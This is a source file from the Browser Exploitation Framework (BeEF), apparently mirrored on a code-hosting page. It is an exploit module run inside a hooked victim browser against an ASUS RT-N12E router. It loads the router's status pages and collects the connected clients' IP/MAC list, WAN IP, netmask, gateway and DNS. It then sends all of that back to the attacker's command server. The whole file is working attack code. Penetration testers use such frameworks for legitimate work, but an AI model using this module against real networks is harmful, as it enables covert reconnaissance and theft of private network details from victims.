Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/asus_rt_n12e_get_info/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var target_ip = '<%= @target_ip %>';
9
10
load_script = function(url) {
11
var s = document.createElement("script");
12
s.type = 'text/javascript';
13
s.src = url;
14
document.body.appendChild(s);
15
}
16
17
get_info = function() {
18
19
beef.debug(target_ip + " - gathering info...");
20
21
var clients = Client_IP_MAC;
22
var wanip = wanlink_ipaddr();
23
var netmask = wanlink_netmask();
24
var gateway = wanlink_gateway();
25
var dns = wanlink_dns();
26
27
beef.debug(target_ip + " - Clients: " + clients);
28
beef.debug(target_ip + " - WAN IP: " + wanip);
29
beef.debug(target_ip + " - Gateway: " + gateway);
30
beef.debug(target_ip + " - DNS: " + dns);
31
beef.debug(target_ip + " - gathering info completed");
32
33
beef.net.send("<%= @command_url %>", <%= @command_id %>,
34
"ip=" + target_ip +
35
"&clients=" + clients +
36
"&wanip=" + wanip +
37
"&netmask=" + netmask +
38
"&gateway=" + gateway +
39
"&dns=" + dns
40
);
41
}
42
43
beef.debug(target_ip + " - loading scripts...");
44
load_script("http://" + target_ip + "/status.asp");
45
load_script("http://" + target_ip + "/get_wan_status.asp");
46
setTimeout("get_info()", 10000);
47
48
});
49
50
51